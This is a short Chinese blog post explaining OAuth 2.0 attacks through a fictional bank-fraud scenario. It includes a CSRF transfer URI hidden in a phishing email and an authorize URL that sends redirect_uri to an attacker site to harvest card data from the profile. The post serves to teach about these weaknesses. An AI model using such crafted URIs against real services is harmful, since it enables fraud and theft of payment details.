SSO 我调你老味 06 (b): 肉蛋葱鸡!

白白是一名现居上海市的人士。在本文中,她开始研究起了各种对于 OAuth 2.0 认证系统的攻击方式。

本文将介绍几个对于 OAuth 2.0 认证系统的攻击方法。

CSRF 攻击

CSRF 的大名叫 Cross-Site Request Forgery,中文叫做跨站请求伪造

对于 OAuth 2.0 认证系统,一个可行的 CSRF 攻击可以是这样的:

假定小白和小黑是宿敌,小黑竭尽全力想要把小白的 US$ 5,670 给骗到手。

小黑知道:

  • 小白在某某银行 (some-bank.com) 有一个账户。
  • 某某银行采用 OAuth 2.0 进行认证。

那么,小黑就有可能通过以下方式给小白下套:

  1. 小黑假扮银行官方,给小白发送一封钓鱼邮件 (例如嵌入一个透明的 <img> 元素)。
  2. 小白在打开邮件时,自动加载了一段小黑精心制作的攻击性 URI,例如 https://webportal.some-bank.com/action/smallValueTransaction?to=xiaohei@some-bank&value=5670&currency=USD
  3. 小白被带到某某银行的 OAuth 认证界面。
  4. 如果小白已经登录了某某银行的系统,那么认证系统很可能直接代小白完成了认证和授权任务,小白在一阵等待以后回到了网上银行的首页。跳到第 6 步。
  5. 如果小白暂未登录,她会看到银行的 OAuth 界面向其请求授权,询问其是否同意完成转账任务。如果小白直接点击了「确定」,那么也会跳到第 6 步。
  6. 攻击成功!小黑拿到了小白的 USD$ 5,670!

又或者,小黑可以玩得再花一点。

假设某某银行危险地将小白的银行卡号、安全码和过期日都存储在 OpenID Connect 里的 profile 内容中,并且对 redirect_uri 并没有限制,那么小黑可以将 redirect_uri 重定向到她自己的攻击网站中,比如:

1
https://oauth.some-bank.com/authorize?redirect_uri=https%3A%2F%2Fxiaohei.com%2Fcallback&scope=openid+profile&...

拿到 profile 以后,小黑能动用的小白的资金可能就不止 US$ 5,670 了。

以 CC BY-NC-SA 4.0 许可证分发